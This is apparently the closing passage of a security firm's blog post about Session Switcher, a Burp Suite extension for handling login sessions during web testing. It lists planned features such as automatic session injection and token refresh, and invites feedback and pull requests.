We have a few ideas on where to take Session Switcher next:

  • Auto Inject rules – the counterpart to Auto Update Rules. While Auto Update monitors Burp Proxy traffic to capture sessions, Auto Inject would automatically apply a session to requests passing through Burp Proxy, letting you transparently switch the identity of your browsing session without touching individual requests.
  • Smarter session tracking – right now, keeping sessions up to date requires manually defining Auto Update rules. We’d like to explore ways to detect and track sessions automatically, for example by parsing login responses or monitoring for token changes, without requiring the user to configure rules upfront.
  • Macro-based session refresh – instead of relying on a browser to reauthenticate when a session expires, the extension could send a pre-configured request (like a login or token refresh endpoint) and parse the response to update the session automatically. This would make it possible to keep sessions alive indefinitely without any manual intervention.

These are still on the drawing board, so if any of these sound particularly useful (or if you have other ideas), let us know!

Contributing

We’d love to hear how you use Session Switcher and what could make it better for your workflow. Whether it’s a bug report, a feature idea, or just general feedback, don’t hesitate to open an issue on GitHub or reach out on social media (@Doyensec). Pull requests are also very welcome!